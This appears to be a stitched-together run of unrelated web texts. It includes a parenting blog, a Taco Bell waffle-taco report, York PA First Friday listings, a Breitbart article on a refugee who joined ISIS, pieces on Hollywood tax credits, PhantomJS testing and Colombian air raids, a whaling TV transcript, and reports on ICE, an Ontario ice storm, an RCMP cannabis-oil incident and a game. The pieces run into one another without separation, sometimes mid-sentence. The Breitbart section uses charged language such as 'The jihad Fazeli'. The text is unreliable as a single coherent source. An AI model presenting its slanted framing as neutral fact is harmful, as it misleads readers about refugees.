5.) What is best for the kids? We decided that, if our kids could make a cogent decision, they would choose to live in the basement of their grandparents’ house and have more time with us rather than stay in our house and see us for only two or three hours every weekday. If their dad loses his job, that’s what will happen. Knowing that this was the absolute worst case scenario – and that we didn’t think it seemed so bad – helped tremendously with our decision. My son has, since birth, been particularly attached to me. My daughter has that special connection with my husband. Both of them enjoy seeing other people, but they really shine when they are at home in their own environment. Paired with the fact that I really shine when I’m at home in my environment, (teaching my favorite students how to be excellent little humans), the decision became much clearer.
6.) Breastfeeding. This was the reason that I get to be the one home instead of my husband. My mammary capabilities far exceed his. The thought of pumping every day, twice a day at work (again – I did it with my daughter) made me just cry. And where would we get the money for formula? If you added daycare, formula and gas costs together, you pretty much had my whole paycheck. Personally, I didn’t really want to use my whole paycheck to pay for things that I wouldn’t need to pay for if I wasn’t working.
How will we pay back our college loans? I don’t know. It will happen (the government will make sure of that!). I do know that our kids are going to have a stable childhood, and I am going to be able to say that I enjoyed every second that they were little when they aren’t little anymore…which will be very, very soon.You can only imagine my joy when I learned that a Taco Bell in Southern California was testing a Waffle Taco.
Novelty is key here -- Orange County's foodie scene has been gravitating to the idea of utilizing waffles as a vessel for sandwiches for some time now. Over the past couple years, new restaurants like Bruxie and The Iron Press have been pushing gourmet waffle sandwiches to the locals -- panini sandwiches with waffles as the bread.
Initially reported by Brand Eating, Instagrammer Sarah1ch5 snapped a pic of the Waffle Taco when cruising through a Taco Bell in Southern California. When fellow Instalovers commented, "Why? Just Why?" She promptly responded, "Don't hate... It was awesome!"
Now that's our kind of gal. We immediately set out to a local Taco Bell that we heard had the item on their breakfast menu. We ended up on the corner of Grand and Warner in Santa Ana, CA, where we spotted the following signage in the drive-thru:
The Waffle Taco is currently listed at 89 cents (items in test phase are commonly offered at a low price) and features a sausage and scrambled egg folded into a waffle. A packet of syrup is properly included.
If you want to give the new breakfast item a try, head on over to 2246 S Grand Ave, Santa Ana, CA 92705 during breakfast hours (7am - 11am) while they still have it.Downtown Inc also extends a special thank you to the Cultural Alliance of York County for its generous support of arts and cultural entertainment during First Friday.
First Friday March
First Friday Activities in the Market District
Lele B's Boutique (13 S. Beaver St.)
Winter Clearance Sale! Check out our new arrivals for spring!
Creative York (10 N. Beaver St.)
Chase away the winter blues with a splash of color at Creative York during our free art activity. We will be working with paint and squeegees to create colorful rainbow paintings! You can also see our new exhibits: In The Kerlin Gallery is “IDENTITY,” a group show about what makes us who we are. And in The Project Space is “Carlie Sherry: The Secret Garden.”
The Watchmaker's Daughter (22 N. Beaver St.)
Spring is springing here at The Watchmaker's Daughter, and we are excited to have Rosa Luz as our featured local artist. You can see her art in The Watchmaker's Daughter throughout March and April. In addition to our featured artist, we have lots of new merchandise. Each First Friday purchase will be entered to win a prize. Stop in and shop for your chance to win!
Revolt Style Studio (26 N. Beaver St.)
Check out the coolest vintage in town! We’ll have new arrivals just in time for First Friday. Open till 9 p.m.
Foster's Flower Shop (27 N. Beaver St.)
We are gearing up for March's girlfriends’ weekend on March 22-23. We are offering promotional pins, flower rings and fresh wrap-n-go bouquets. Can't wait to see you on First Friday from 5-9 p.m.!
Sunrise Soap Company (29 N. Beaver St.) Creation station special for one person: Make your first item at full price, get your second maker's item at half price (of equal or lesser value).
My Girlfriend's Wardrobe (38 N. Beaver St.)
Join us and get ready for spring! We'll have a great selection of pieces for the warmer weather that will be here soon. Check out our great selection of new jewelry items that are perfect pieces to fill your need of spring trends. From resin pieces to moon and stars we have it!
Appell Center for the Performing Arts (50 N. George St.)
As part of the Spanish Language Film Series, The Appell Center for the Performing Arts is offering a FREE First Friday Family Film: “Ole El Viaje de Ferdinand” (“Ferdinand the Bull”). Synopsis: After Ferdinand, a bull with a big heart, is mistaken for a dangerous beast, he is captured and torn from his home. Determined to return to his family, he rallies a misfit team on the ultimate adventure.
Snacks and refreshments available. Kids 12 and under must be accompanied by an adult.
Reseña: Después que Ferdinando, un toro con un gran corazón, es confundido con una bestia peligrosa, es capturado y lo sacan de su casa. Ferdinando está decidido a volver con su familia, entonces él reúne un grupo de desadaptados en esta máxima aventura.
¡Bocadillos y refrescos estarán a la venta! Niños menores de 12 años deben estar acompañados de un adulto.
SPANISH LANGUAGE FILM SERIES
“Ferdinand the Bull”
First Friday Latino (FREE First Friday Family Film)
Sponsored by: OSS Health
March 1 at 6:30 p.m.
English with Spanish subtitles.
SERIES DE PELICULAS EN ESPAÑOL
Ole El Viaje de Ferdinand
Primer viernes latino (GRATIS-Primer viernes película familiar)
Marzo 1 a las 6:30 PM
En inglés con subtítulos en español
Patrocinado por: OSS Health, Apple Honda
Duración: 1 hora, 48 minutos
Clasificación: para todas las edade
ENTRADA GRATIS
Inglés con subtítulos en español.
ALSO
Under the artistic direction of Jeff Stabley, Jazz in the City welcomes regional musicians each month during First Friday festivities from 5:00pm to 7:00pm in The Studio at the Appell Center for the Performing Arts.
The Studio entrance is located on Philadelphia Street. Tickets are available on a first-come, first-serve basis, hope to see you there!
$5 at the Door; Free with a Valid Student ID
Tutoni's (108 N. George St.)
Cocktail Hour 4-6 p.m. $6 select drinks, three for $15 tapas, purchase full-price drinks and receive complimentary small bites from the kitchen. DJ Cashmire will be upstairs for Supper Club 9:30 p.m.-midnight; this is an after-hours dance party with live music and drink specials, like our $5 punch, all night long. The perfect place to go and dance the night away when everywhere else is closing down!
The King George Club (108 N. George St.)
Speakeasy located in the lower level of Tutoni’s. We have half-price cocktail hour 5-6 p.m., which features drinks as low as $2.50. Live music from the Jean Therapy Trio 8-11 p.m. There is a $5 cover charge to enter.
Elks Lodge #213 - York, PA (223 N. George St.)
MAXWELL PROJECT is back playing R&B and Funk from 7-11 p.m. Doors open at 5 p.m., and the kitchen is open from 5-9 p.m. Cover charge is $10 for members and $15 for guests. See you at the Lodge!
Sarah's Sweet & Savory Snacks (9 W. Philadelphia St.)
March is National Nutrition Month so eat healthy @EatSarahsSnacks! Check out our Vegan selection for #RWYork and grab a bag of those delicious buffalo peanuts for the weekend!
Goodridge Freedom Center (123 N. Philadelphia St.)
Join us from 4-8 p.m. for Frances Ellen Watkins-Harper's visit to the Goodridge Freedom Center. Excerpts from the one-woman show “Voices of F.E.W.” that chronicles the life of Frances Ellen Watkins-Harper, a pioneering social activist and abolitionist. In the excerpts Frances engages the audience with storytelling of her journey through life during the 19th century as an abolitionist, poet, lecturer, suffragette and champion for social change.
Art & Framing Warehouse (147 W. Philadelphia St.) 50 percent off framed art. Gift certificates available for custom framing.
First Friday Activities in the Royal Square District
OMG Studios (57 E. King St.)
It’s warm and cozy at OMG. Stop in to see our new paintings and pick up your free OMG button!
King's Courtyard Artists' Collective@ (124 E. King St.)
Add some spice to your First Friday night 5-9 p.m. at King's Courtyard Artists' Collective #RoyalSquareArtsDistrict. Food, music, arts, crafts and poetry. Meet and greet with featured artists including new members Armand Meyer and Christine Noll. Locally prepared Latin food and good times.
HIVE artspace (126 E. King St.)
HIVE artspace is excited to welcome “WATER ER,” a traveling educational, multi-media art exhibition focusing on the Susquehanna River and its major tributaries reaching the Chesapeake Bay and into the world’s oceans. In this group exhibit curated by Chelsea Caroline of Earthen Water you will see some familiar artists as well as some new ones. Join us for the opening reception from 5-9 p.m., enjoy light refreshments, meet some of the artists and hear what a handpan drum sounds like!
Taste Test Restaurant Incubator (101-105 S. Duke St)
Paco's will be open until 11 p.m. with half-price happy hour 5-7 p.m. We will have a $5 alcoholic beverage available all night, and the band named THE will be performing 7-9 p.m.
Collusion Tap Works (105 S. Howard Street)
Kickstart your First Friday with a lunch special – a $3 select pint with the purchase of any sandwich between noon-2 p.m. Stick around for a new beer and try one of the dinner items from our expanded kitchen's upgraded menu! Beers are flowing from 12 a.m.-12 p.m.
First Friday Activities in WeCo
SMALL STAR Art House (232 W. Market St.)
Enjoy showings of “An Acceptable Loss” at 3 p.m., 5:30 p.m. and 7:35 p.m. Visit smallstaryork.com to purchase tickets.
Share your First Friday stories on social media with the hashtag #FFYork!
First Fridays for Merchants
If you are a downtown business or non-profit and would like to participate in First Friday, click here for more information.
Representation on beaver street
If you are interested in setting up a booth on Beaver Street during First Fridays, please email Market District merchants at [email protected].
2018 First Friday DatesA man who was certified by the U.S. government as an official refugee, and who was supported by a taxpayer-funded group to settle in the United States, flew out of the United States in 2013 to join the ISIS Islamic army.
He was killed in Lebanon in 2015 as part of the ongoing Syrian conflict, leaving his refugee wife and their three children in the United States.
This example of a refugee terrorist highlighted the call on Monday by GOP nominee Donald Trump for “ideological vetting of immigrants seeking admission to the United States.”
Those who do not believe in our Constitution, or who support bigotry and hatred, will not be admitted for immigration into our country... Only those who we expect to flourish in our country — and to embrace a tolerant American society — should be issued visas.
That vetting apparently did not take place in the case of Adnan Fazeli, 38, who “initially came to Philadelphia in 2008 [as a refugee from Iran] and then moved to Portland [in 2009],” according to a recent Facebook post by Fazeli’s brother.
The brother is “Dr. Jabbar Fazeli... a physician in Maine [who] currently serves as chairman of the board of the Maine Medical Association,” the Portland (Maine) Press Herald reports.
The jihad Fazeli “came to Maine as a refugee in 2009 [and] became radicalized in his Islamic faith while living here and was fighting for the Islamic State when he was killed last year in Lebanon, according to newly unsealed federal court document,” the Press Herald says:
[M]ost recently of Freeport, [Fazeli]came under investigation by the FBI for his connection to the terrorist group shortly after he left his job at Dubai Auto in Portland to fly to Turkey on Aug. 13, 2013, and never returned. Fazeli, who also went by the names Abu Nawaf and Abu Abdullah Al-Ahwazi, was killed on Jan. 23, 2015, in a battle near Ras Baalbek in Lebanon as part of an Islamic State attack force of about 150 that was thwarted by the Lebanese army. Those details, which were never revealed publicly before, were contained in an affidavit filed in U.S. District Court in Portland last Oct. 27 by Maine State Police Detective George Loder, who was acting as a member of an FBI task force investigating whether other people were aware of Fazeli’s plans to fight for the Islamic State, helped him travel to the Iraq-Syria-Lebanon area or supported his efforts there. The affidavit remained under seal during the investigation, which ended with no criminal charges.
The Press Herald reports that “[t]he affidavit gives the accounts of four anonymous informants for the FBI who described how Fazeli’s behavior began to change about a year after he came to the Portland area through Catholic Charities Refugee and Immigration Services.”
According to its website, “Maine’s only refugee resettlement program, Catholic Charities Maine Refugee and Immigration Services (RIS) is dedicated to helping those seeking a new life in America become independent, productive members of our community.”
But the person who answered the phone when Breitbart News called Catholic Charities of Maine says that organization “provided no assistance” to Fazeli.
Breitbart News has asked Catholic Charities of Maine spokesperson Judy Katzel for more details, but has not yet received a response.
Catholic Charities Refugee and Immigration Services also operates a separate office out of the Diocese of Harrisonburg, Penn., which is in close proximity to Philadelphia, where Fazeli was initially resettled in 2008.
In an update to the original story, the Press Herald reported “Catholic Charities does not have a resettlement program in [Philadelphia], and an employee at the Catholic Charities office in Harrisburg, Pennsylvania, said they do not keep records longer than seven years, and could not say whether he came through their program.”
Catholic Charities of Maine, however, did provide financial assistance to Fazeli through an employment relationship:
Fazeli did work for Catholic Charities Maine as a part-time translator for several months in 2009. He spoke Persian, Arabic and English, and worked only a few hours a week. “He performed a good job while he was working for us,” Katzel said, adding that the nonprofit’s staff did not recall any red flags regarding Fazeli’s work. He left that job after 10 months to take computer engineering classes at the University of Southern Maine. Fazeli later worked for Dubai Auto, an auto repair and sales business in Portland, also as an interpreter. Attempts to locate the previous owner, Jabbar Essa, were unsuccessful Tuesday. Hassan Najed, the current owner of the business, now named Forest Avenue Motors, said he’s the second person to own the business since Essa and did not know where he had gone after selling the business.
Fazeli “collected welfare while living in Maine as he was being self-radicalized over the internet,” the Boston Herald reports:
Adnan Fazeli, 38, of Freeport, Maine, collected food stamps and Temporary Assistance for Needy Families, officials said. The married father of three lost his payments in 2013, Maine officials tell the Herald, after he left for Turkey to join the terror group. A federal affidavit states Fazeli was killed Jan. 23, 2015, in a firefight in Lebanon while fighting for ISIS.
It is unclear why Adnan Fazelli and his family may have obtained financial assistance from Catholic Charities as well as the state of Maine between 2009 and 2013, since his brother, Dr. Jabbar Fazelli, is apparently well-established in the area and doing well financially.
It is also unclear why he first arrived in Philadelphia, and then moved to Maine.
“The operation of the refugee resettlement program in Philadelphia is somewhat unusual,” as Breitbart News reported in July:
Though the Pennsylvania State Department of Health tracks approximately 1,900 of the refugees that arrive annually in the counties of the state outside Philadelphia, an unusual cooperative of several resettlement agencies known as the Philadelphia Refugee Health Cooperative (PRHC) operates as the equivalent of a quasi-independent agency within the City of Brotherly Love and tracks and provides services to the approximately 800 refugees that are resettled in Philadelphia annually... Three resettlement agencies–Nationalities Service Center (NSC), HIAS Pennsylvania, and Lutheran Children and Family Service (LCFS)—lead this cooperative.
The Press Herald reports that Fazeli became radicalized while living in Maine:
Neighbors of the family in Freeport described Fazeli as quiet, saying his wife was friendlier than he. When the couple arrived in the neighborhood, a neighbor who identified himself only by his first name, Mike, said Fazeli’s wife wore traditional Muslim dress, but by the time her husband had disappeared and she moved away, she no longer wore a headscarf and seemed more “Americanized.” “He had a bad situation. He was fighting with his wife and he lived at the garage for about a week,” Manahe said. During that time, Manahe told Fazeli he was welcome to use the store’s bathroom and kitchen. “He was living there and he just disappeared,” Manahe said. “Some people say he went back to Iraq.”
Breitbart News contacted the Philadelphia Refugee Health Cooperative for details surrounding Fazeli’s arrival in Philadelphia in 2008 but has not received a response.
The Press Herald adds these details:
The affidavit gives the accounts of four anonymous informants for the FBI who described how Fazeli’s behavior began to change about a year after he came to the Portland area through Catholic Charities Refugee and Immigration Services. They told the FBI that Fazeli frequently watched hours of Islamic videos online, grew a beard and began making anti-American remarks while at an Iraqi market in Portland. While the informants are not named in the affidavit, Fazeli’s nephew, Ebrahim Fazeli, told the Portland Press Herald on Monday that he informed the FBI about his uncle after Adnan Fazeli called the family from Turkey. The affidavit describes one of the informants as a close relative of Fazeli’s. “Fazeli’s change in behavior alienated him from many of his Shia and moderate Sunni friends in the area. However, there were a few local Sunnis who supported his fervor and treated him with a great deal of respect. Fazeli started holding occasional religious meetings at his home in Freeport,” Loder said in the affidavit, describing what one informant had said. Ebrahim Fazeli, 25, said the family was unaware of his uncle’s plans to leave the United States. His uncle had become more religious and grew a substantial beard, but the nephew said no one realized he had become radicalized. … One of the informants told the FBI that Fazeli fled Iran in 2007 or 2008 after being notified that he was going to be arrested by the Iranian government as a dissident. “Fazeli decided not to turn himself in and instead he left his family and fled for Syria. Fazeli’s family later joined him and they fled Syria for Lebanon because they feared the Syrian government would deport them back to Iran,” the affidavit says. Fazeli initially came to the United States as a refugee in 2009, but did not adapt well. He told one informant that he hated Iran because the government was anti-Sunni and felt the United States had done nothing to help. Although Fazeli was raised a Shia Muslim, his family was not devout, one of the informants said. His behavior began to change while in the U.S., and he converted to Wahhabism, an austere form of Sunni Islam. Catholic Charities in Portland said Fazeli tried to receive social services from the organization but was told that because he had come to Maine from another U.S. city after he’d immigrated to the U.S., he was not eligible for services in Portland. … While Fazeli was abroad, he continued to communicate by Skype chats with at least one of the informants, who later shared videos of the chats with FBI investigators. In one video, Fazeli said that he and his Islamic State allies could kill 1,000 enemies for every 10 of their own killed. In another video, he wore a khaki camouflage military uniform and inquired whether any U.S. government authorities had begun asking questions about him... Fazeli’s relative called the FBI on Jan. 26, 2015, to report that Fazeli had been killed, according to the affidavit.
First Assistant Attorney Richard Murphy did not explain why there was no follow up regarding the former owner of Dubai Auto of Portland, whose bank account was used to finance Fazeli’s foreign travels.Three of the biggest Hollywood movies that have come out this month — “Captain America: The Winter Soldier,” “Draft Day,” “Transcendence” — have one thing in common: They don’t look like they were shot in L.A.
That’s because, for the most part, they weren’t. While the people who decide where to make movies uniformly say that they’d prefer to work in their hometown, better subsidies that other states and countries offer has made that almost impossible to justify.
“You want to encourage as big a broad spectrum of the business to be here,” noted Stanley M. Brooks, a prolific producer and director who served as chairman of the California Film Commission when the state’s first production incentives — now considered inadequate by just about everybody — went into effect five yeas ago. “We should be encouraging the most number of productions on all levels and not targeting any one specific piece of that pie. The key here is keeping jobs in California.”
Efforts are underway in the state Legislature to broaden the tax credit program so larger movie productions can shoot comfortably in California. Whether or not it will work will depend on how much money is allotted, if current restrictions on productions’ eligibility are meaningfully eased and if the percentage of expenditures producers get back becomes more in line with other states.
At the moment, though, there’s no doubt in Hollywood’s collective mind that California just doesn’t offer enough.
“It is a shame that we weren’t able to do what I wanted to do, which was make a film entirely in California,” said Oscar-winning “Inception” cinematographer Wally Pfister, whose directing debut “Transcendence,” starring Johnny Depp, opened Friday.
“If there had been a tax credit in place …” Pfister mused. “This movie was set in Berkeley and a small desert town, and we found all the locations in and around the Los Angeles area. I know Johnny wanted to stay here, I wanted to stay here, and it was really about having our incredible crew here on the picture.
“As it turned out, we brought quite a few of them with us to New Mexico,” said the director, who wound up shooting only two weeks of the $100 million production’s interiors in L.A. “There were enormous tax savings there, and that’s why Sacramento has to step up.”
“Transcendence” did not even qualify for California’s Film & Television Tax Credit Program, which currently is restricted to feature films with budgets under $75 million. And even if it had, there was no guarantee that it would have been among the lucky fraction of applicants chosen in the one-day-a-year lottery to get a slice of the program’s annual $100 million allotment.
While both of these restrictions — which have driven almost every major movie production out of the state for the past several years — are addressed by new incentives bills making their way through the California Legislature, that may not be enough to satisfy producers.
“When I’m looking at the incentives the state of New Mexico was offering versus the state of California … Forget the budget level here, let’s forget that. Just the difference in the incentives that are offered, it’s not possible as a small businessperson to stay here,” explained Andrew Kosove, co-CEO of Alcon Entertainment, the independent L.A. production company that made “Transcendence.”
Kosove explained that, beside offering up to 30 percent in tax credits on a production’s spending, cast and above-the-line talent salaries qualified for the incentive. Those expenditures aren’t subsidized in California, where the tax credit for major features is 20 percent.
“You’re talking about a difference of over 20 percent,” Kosove figured, in overall cost-cutting. “That’s not good for this state. If you can get it to 10 or eight, then you can say, ‘Well, I get to keep everyone home, my family’s here, the quality of the crews.’ You can start to justify that. But the difference is not even close right now.”
As incentives fever has spread to more than 40 states and around the globe in recent years, Hollywood has quickly become dependent on them for a variety of reasons. Those include rising production costs in an era of expensive digital effects, increased promotional expenditures for what is now a worldwide business and bottom-line thinking by the conglomerates that own all the major studios.
This has made getting as much money as you can out of governments willing to pay you to come to their jurisdiction imperative.
“Everything about finance and production, these days, relates to where films are being shot,” said Lindsay Conner, co-chair of the Entertainment & Media practice at the L.A. law firm Manatt, Phelps & Phillips. “It’s also true of television, but in television it’s a bonus to find a tax subsidy; in film, it’s almost a requirement these days. Very few studio films can be made without some type of subsidy. Whereas, 20 years ago, 30 and 40 years ago, everybody was used to filming in Southern California, today producers are willing to go wherever they have to go to get the subsidy money.”
Although it varies from jurisdiction to jurisdiction and production to production, Conner figured a $100 million film can expect to shave $10 to $20 million off its price tag with incentives.
He reiterated complaints often heard about the current California program, that each year’s lottery is over too quickly and higher-spending movies automatically have to look elsewhere now.
“The California system basically says not too many films and no big budget films, and that’s not a sufficient welcome mat these days,” Conner, who works on film financing deals all the time, said. “My understanding is that (proposals in Sacramento) substantially increase the amounts of the subsidy and take some of the restraints off so that more films and television programs will be able to participate. Those are very important steps.”
While L.A.’s politicians and new film czar Ken Ziffren say that making production here easier — permitting, parking, access to buildings, et cetera — is a concern as well as lobbying for better state incentives, money speaks very loudly.
“Smoothing productions is a great way to entice people to film in your location, but the tax subsidies are much more important as a driver of production decisions,” Conner said. “That’s why New York City is so successful. New York is not the easiest place to film, but with the city incentives on top of the New York state incentives, they really have gone a long way to make it financially attractive to film there.”
It’s a little different in Cleveland. It doesn’t have a city incentive, and Ohio’s state tax credits are currently capped at a mere $20 million per year.
Yet Cleveland hosted both “Captain America: TWS” and “Draft Day” simultaneously last year. Sure, those two productions got nearly $15 million of Ohio’s tax credits (though technically limited to $5 million per production, Marvel got $9.5 million back by dividing the “Cap” shoot into two separate units).
According, though, to The Greater Cleveland Film Commission president Ivan Schwarz, ease of filming helped bring Marvel back after a good experience with “The Avengers” there, and didn’t hurt when “Draft Day” chose to switch the film’s original home team, the Buffalo Bills, to the Browns.
“We’re doing things that you can’t do in Los Angeles anymore, that you can’t do in Atlanta,” said Schwarz, a former Hollywood location manager. “Y’know, we have rush minute, we don’t have rush hour. On a Friday, it takes two hours to get from Santa Monica to Century City. But if you want to make the company move during rush hour in Cleveland, Ohio, it takes you no time at all.
“If we can make it happen we’re going to make it happen, so don’t edit yourself,” Schwarz advised filmmakers. “Just ask us. There was a chase scene on a shore lane that we closed for two weeks that runs right through Downtown. Y’know, Chicago’s not going to close that down, and we were able to do it with the community’s support.”
“Captain America” hired 250 locals for its Cleveland shoot; “Draft Day,” 70 percent of its crew. The two films’ combined economic impact on the region was $120 million. Ohio also gives a 25 percent tax credit on in-state spending and 35 percent on Ohio resident wages.
“California’s not even in the ballgame right now,” Alcon’s Kosove said. “We’re a small business, and the profit margins in the movie business are narrow and it is a very risky business.
“I’ve got 30 employees, people with children. They don’t live in Bel Air and Beverly Hills; many of them live 40 minutes from the Westside of Los Angeles. I’m responsible for protecting them and their livings. So I’ve got pay careful attention to where, first, I can make an artistically successful film, but secondly, where I can get the best economic benefit for filming.”Reading Time: 2 minutes
Phantomjs is a great tool for end-to-end tests of your application. It provides a headless browser based on webkit that allows your tests to navigate through the web application.
With Codeship, we use its capybara integration, but Phantomjs can be used for lots of purposes. Throughout the lifetime of our codebase we have tried various Capybara drivers to find the one that suits our test environment and workflow.
We started off with akephalos, moved on to Selenium and switched that for capybara-webkit. All of them have their benefits, but also their quirks.
Selenium broke frequently when new Firefox versions were released which were incompatible with older versions of the selenium-webdriver gem. Another issue was that Selenium had problems with links covered by modal panels. One of our customers experienced the same behavior in capybara-webkit. PhantomJS correctly failed and provided the right error messages.
Finally we started using PhantomJS with great success. PhantomJS’ main advantage for us was that it fails tests on JavaScript errors. Neither Selenium nor capybara-webkit support this, but it is absolutely crucial. In our team everyone is allowed to deploy new code to the live system so we really need to make our tests hard and safe. Making sure there are no JavaScript errors on your page is mandatory. We had a handful of instances where a small change in JavaScript broke all of our JavaScript code.
Getting started with PhantomJS
Getting started with Phantomjs and Capybara is easy. Make sure to download the latest version from the Phantomjs website and follow the installation instructions on their install page.
Following is a minimal setup gist to get you started. The Poltergeist gem integrates PhantomJS with Capybara and provides a lot of great extensions. Take a look at their customization options to get a better understanding of what you can do.
Here is the Capybara config with the parallel_tests gem setup we use for Codeship:
Additionally this raises JavaScript errors and increases the Phantomjs timeout.
Conclusion
Give PhantomJS a try for your test environment! It is a stable, easy to use and a powerful friend. Learn more in our PhantomJS browser testing documentation article.BOGOTA (Reuters) - Colombia’s armed forces have been authorized to launch air raids against crime gangs and FARC members who have refused to adhere to a peace accord with the former guerilla group and instead chose to continue drug trafficking and other criminal activity, the Defense Ministry said on Tuesday.
As many as 1,000 members of the Revolutionary Armed Forces of Colombia (FARC) have not abided by the terms of last year’s peace agreement with the government, preferring instead to remain armed, fight the government and profit from illegal drugs and mining.
The conflict killed more than 220,000 people and displaced millions since it began in 1964.
The executive order allows troops to conduct bomb attacks against FARC dissidents and crime gangs from airplanes and helicopters, and shields the military from criminal prosecution, the Defense Ministry said in a statement.
Raids can only be carried out if civilians are not close by.
Air raids were the most effective weapon in the government’s fight against the FARC, pushing fighters deep into inhospitable jungle and killing high-level rebel commanders.
That strategy also has been used against the National Liberation Army (ELN), now the biggest active guerrilla group in Colombia, which is in peace talks with the government. The two sides began a bilateral ceasefire in October.
More than 11,300 members of the FARC, including fighters, urban militia and prisoners are in the process of being incorporated into society after the group handed in its weapons to the United Nations and formed a political party.This weeks Catalyst features a world first. As the debate hots up about Japans scientific whaling program whether its a sham, whether its justified weve decided to tackle the issue head on. Weve collected all the research papers the Japanese program has produced over the last 18 years, rented a room, and locked three experts inside theyre not allowed out until theyve judged every paper and delivered a verdict. Whats been discovered? How many animals have died for that information? And was it worth it? As Japan massively escalates its whale research program, and the Australian government fears Junes International Whaling Commission meet will turn the tide back to commercial whaling, we answer these questions and more as we investigate the science of scientific whaling.
TRANSCRIPT
Narration: On January 7, 2006, 4 people left the safety of their mothership to put themselves between a whale and death.
Shane Rattenbury: The first two shots completely missed the whale. The third shot then left a gaping wound. We could see the whale still desperately trying to escape.
It was 35 minutes between the first time it was struck by a harpoon and when it died.
Its a really gut wrenching moment and a terrible sense of failure when you realise that whale youve spent the last two hours trying to protect its come to an end.
Narration: This is the picture Greenpeace showed us of Japanese whale research.
Dr Jonica Newby, Reporter: It sure provokes emotion, but when it comes to science, shouldnt we look beyond sentiment? Arent you curious what the Japanese research program is about - what theyve discovered? Well we are. So weve gathered just about every paper theyve ever produced. Were going through the lot as we investigate the science of scientific whaling.
Narration: Weve come to the old whaling town of Hobart taken a room and assembled a panel of experts.
Dr Nick Gales, scientific committee member of the International Whaling Commission, |
court hearings involving unauthorized immigrants.
Others believe ICE is probably cross-checking public court records against its database of unauthorized immigrants.
“The fact the of the matter is, government agents can get their hands on a docket list easy enough,” said defense lawyer Jeff Sweeney, who in one week had two clients arrested by ICE at courthouses in Lynn and Salem. “It’s amazing. This is going on everywhere in the Commonwealth.”
Maria Cramer can be reached at [email protected]. Follow her on Twitter @globemcramerPremier Kathleen Wynne says there are efforts being made to see if residents can be compensated for some financial losses they might have suffered because of the ice storm. “We are looking into where there might the possibility to get some compensation... but obviously there are insurance claims that will be made after this whole thing is done,” Wynne told reporters Friday.
Premier Kathleen Wynne on Friday visits hydro crews working to restore power along Bush Drive in Scarborough, one of the hardest hit areas in Toronto. ( Richard J. Brennan / Toronto Star )
Given that there are still 32,000 customers in Toronto and 5,000 in rural Ontario without power still one week after the storm, tempers are flaring and critics are pointing fingers at the province and Toronto city hall. Wynne went on the defensive against criticism that the government hasn’t done enough to reassure the public in the wake of the ice storm that cut a swath through southern Ontario. In what has became a daily briefing since the storm struck almost more a week ago, Wynne said members of her minority Liberal government have been “on the ground” making sure that everything possible was being done to restore power.
Article Continued Below
“We have had a government presence in all parts of the affected areas,” she said. One Progressive Conservative MPP criticized Liberal Energy Minister Bob Chiarelli, saying he has all but been invisible following the ice storm. “Your absence in the in the last week has been noticeable and makes me question your commitment and desire to carry out your duties and mandate,” Lisa MacLeod said a letter to Chiarelli. Chiarelli’s staff countered he has been in constant contact with energy officials from London, Ont., to Brockville since the storm hit, as well as appearing on television Friday. Wynne, too, has come under fire for not straying outside the Greater Toronto Area to check on other areas affected by the ice storm — the worst to hit the province since the devastating 1998 storm that crippled eastern Ontario.
“We have played a co-ordinating roll through Emergency Management Ontario. My office has been engaged since before the storm hit actually,” Wynne explained. “I have been in many places as I can possibly be and I will continue to do that and my team has been on the ground since before the storm hit and we will continue to be working with all the affected communities,” she said.
Article Continued Below
Wynne said it is her responsibility to make sure the efforts to restore power are co-ordinated, “and we have been doing that.” The premier said she has not doubted for one moment that hydro crews from across the province and as far away as Manitoba weren’t working flat out. “Overall, the way the system has responded has been excellent,” she said, adding, however “that is a very trying time” for those still without electricity.” Wynne said door-to-door checks by police have been implemented both inside and outside Toronto to make sure residents without power are being cared for. “My heart goes out to people who are still dealing with power loss in their home but everyone is working and doing the very utmost. We will continue until every light is on,” she said.
Read more about:RCMP in Hay River, N.W.T., barged in on a senior citizen selling cannabis oil at the Fisherman's Wharf Market on Saturday. As it turned out, the oil is legal to sell.
Jerry Miller, 67, sells low THC cannabis sativa seed oil through his company MedMar Natural Products. He has been selling the oil since March, 2017. He is based out of High Level, Alta.
This was the fourth time he has set up a booth at the market in Hay River, and his first run-in with police over the product.
'He was just a yelling monster,' says Jerry Miller, describing RCMP behaviour when questioning him about selling cannabis oil on Saturday. (Submitted by Jerry Miller)
Miller said RCMP surrounded his booth, read him his rights, and asked him if he wanted legal representation. Miller requested a lawyer but said the investigation proceeded anyway.
"I didn't know this until later, but [RCMP] had a complaint saying that we had told someone that we were selling 'bud marijuana' in bottles, which never happened. That is a total fabrication. But he had the complaint so he had to follow up," Miller said.
Miller said RCMP failed to identify themselves and were unnecessarily aggressive toward his staff and customers. Photos show RCMP in standard uniforms.
"He was yelling at the customers that if they didn't leave right now they would get arrested too," Miller said.
"He was just a yelling monster. Two of us are senior citizens … I was afraid he might cause a heart attack or something,"
Miller said RCMP removed him from his booth and questioned him about the products he was selling. Miller sells a range of cannabis oils and hemp flour dog biscuits.
Jerry Miller sells a range of cannabis oils and hemp flour dog biscuits. (Facebook)
"As long as your product is less than 10 parts per million THC, it is legal without any kind of prescription or licence," Miller said.
"It is medical marijuana, but it is not high THC marijuana. We have a sign on our table that says our products do not get you high."
Miller said some people at the market had questioned him on Saturday about the legality of his products.
He said the officers contacted RCMP in High Level to confirm his story.
RCMP investigate a vendor selling cannabis oil at the Fisherman’s Wharf Market in Hay River, N.W.T. (Submitted by Ron Tschirhart)
"His partner whispered in his ear and then he lightened up. So, obviously they got the message from RCMP in High Level that we were legal," Miller said.
He said he still had to open every box in his booth to prove he wasn't hiding anything illegal.
"At this point he [the police officer] said something about 'I guess there is nothing here that we need to be here for,'" Miller said.
"Even though he tells me he was following orders, [that] he was just doing his job, his job doesn't have to involve scaring the hell out of people. It doesn't have to involve yelling at customers."
Miller said he is filing a formal complaint against one of the three officers from the incident. He said he would like the officer reprimanded. Miller said a simple conversation could have resolved the incident without the drama.
Hay River RCMP were not available for comment. An RCMP spokesperson in Yellowknife said police would provide more information later.Madison, WI April 14 2016 - Flippfly LLC and Funselektor Labs have announced a collaborative project, Absolute Drift: Zen Edition, coming to Playstation 4 in Q3 2016.
In Absolute Drift: Zen Edition, players will learn to master the art of drifting, through a series of challenging events played out in a gorgeous minimalist environment.
Absolute Drift was originally launched in 2015 by Funselektor Labs. Kotaku said about the game: “Absolute Drift is unexpectedly mesmerizing.”
Flippfly is working with Funselektor Labs to develop and publish the Zen Edition on the Playstation 4 platform. The two companies are working together to add several new features to the game for the Zen Edition, including:
New “event challenges” that will extend the gameplay in the game’s 34 tracks by challenging players to complete increasingly difficult tasks.
5 all new “Midnight Events.” These night-themed tracks are designed to challenge even the most experienced players.
Replays and ghost cars.
